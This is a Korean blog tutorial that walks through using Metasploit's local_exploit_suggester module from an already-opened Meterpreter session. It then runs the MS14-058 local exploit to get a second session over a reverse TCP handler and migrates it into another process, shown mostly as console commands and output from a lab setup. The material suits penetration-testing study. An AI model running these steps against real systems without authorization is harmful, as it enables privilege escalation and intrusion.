MSF의 local_exploit_suggester 모듈을 이용한 Local Exploit 찾기

Metasploit을 통해 대상 시스템에 침투했을 경우 우리는 권한 상승을 위해 Local 취약점을 찾기 위해 노력할 것입니다. 물론 취약한 어플리케이션이 눈에 잘 띄지는 않지만요. Meterpreter Shell에서 사용가능한 모듈 중 이러한 과정을 자동화해준 모듈이 있습니다. 바로 local_exploit_suggester 인데요, 오늘은 이 모듈에 대해 이야기 할까 합니다.

local_exploit_suggester

이 모듈은 Meterpreter Shell에서 Local System의 취약점을 쉽게 찾기 위해서 만들어진 모듈입니다. post 모듈 중 recon에 포함되어 있으며, 특별하게 옵션값이 많이 필요하진 않습니다.

post/multi/recon/local_exploit_suggester

hahwul post(local_exploit_suggester) #> show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION          1                yes       The session to run this module on.
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

local_exploit_suggester를 이용하여 Meterpreter Shell 에서 모듈 사용하기

일단 exploit이 성공하여 Meterpreter Shell을 획득하였다는 가정하에 출발합니다.

hahwul exploit(handler) #> 
[*] Sending stage (957999 bytes) to 192.168.0.8
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.8:58032) at 2016-02-26 10:35:48 +0900

hahwul exploit(handler) #> 
hahwul exploit(handler) #> sessions -l

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9  192.168.0.8:4444 -> 192.168.0.8:58032 (10.0.2.15)

위 상태 기준으로 session 1번에 meterpreter shell 이 동작하고 있습니다. 이제 오늘 사용하려고 한 local_exploit_suggester 모듈을 불러옵니다. (-z 옵션으로 세션으로 넘겨놓은거고, 만약 meterpreter shell에서 직접 하려면 background 명령으로 Metasploit으로 넘어가 해당 모듈을 실행시켜줍니다.)

hahwul exploit(handler) #> use post/multi/recon/local_exploit_suggester
hahwul post(local_exploit_suggester) #> sessions -l

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9  192.168.0.8:4444 -> 192.168.0.8:58032 (10.0.2.15)

hahwul post(local_exploit_suggester) #> set SESSION 1
SESSION => 1

Option에서 필요한 데이터는 SESSION 밖에 없기 때문에 하나 있는 session number를 입력해주면 옵션 설정은 끝이납니다.

이제 run을 통해 post 모듈을 전송하면 Meterpreter Shell로 local_exploit_suggester 모듈이 전송되며, Local System의 취약점을 자동으로 찾게됩니다.

hahwul post(local_exploit_suggester) #> run
[*] 10.0.2.15 - Collecting local exploits for x86/windows...
[*] 10.0.2.15 - 31 exploit checks are being tried...
[+] 10.0.2.15 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated.
[+] 10.0.2.15 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.0.2.15 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.

돌려본 결과 3개의 Exploit 가능한 취약점이 확인되었네요. 여기서 하나 골라서 “ms14_058” 취약점으로 테스트를 해보겠습니다. 위에 저 부분을 copy and paste하여서 exploit을 사용해줍니다.

hahwul post(local_exploit_suggester) #> use exploit/windows/local/ms14_058_track_popup_menu
hahwul exploit(ms14_058_track_popup_menu) #> show options

Module options (exploit/windows/local/ms14_058_track_popup_menu):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Local Exploit이기 때문에 생각보다 옵션이 많지 않습니다. 이친구는 SESSION 하나밖에 없군요. 우리가 연결해놓은 session 1을 옵션값으로 넣어주고 실행합니다.

hahwul exploit(ms14_058_track_popup_menu) #> set SESSION 1
SESSION => 1
hahwul exploit(ms14_058_track_popup_menu) #> run

[*] Started reverse TCP handler on 192.168.0.8:4444 
[*] Launching notepad to host the exploit...
[+] Process 1816 launched.
[*] Reflectively injecting the exploit DLL into 1816...
[*] Injecting exploit into 1816...
[*] Exploit injected. Injecting payload into 1816...
[*] Payload injected. Executing exploit...
[*] Sending stage (957999 bytes) to 192.168.0.8
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened (192.168.0.8:4444 -> 192.168.0.8:58043) at 2016-02-26 10:38:59 +0900

exploit 결과 성공하여 session 2가 생성되었습니다. 세션을 확인해보면 2개가 되어있습니다.

hahwul post(local_exploit_suggester) #> sessions -l

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9  192.168.0.8:4444 -> 192.168.0.8:58032 (10.0.2.15)
  2   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9  192.168.0.8:4444 -> 192.168.0.8:58043 (10.0.2.15)
hahwul post(local_exploit_suggester) #> sessions -i 2
[*] Starting interaction with 2...

meterpreter > 
meterpreter > migrate 1944
[*] Migrating from 1816 to 1944...
[*] Migration completed successfully.

POST 모듈은 굉장히 심플하고 사용하기도 편하기 때문에 좀 하다보면 손에 익숙해집니다. 귀찮음을 약간이나마 해결해줄 수 있는 local_exploit_suggester 모듈이였습니다. :)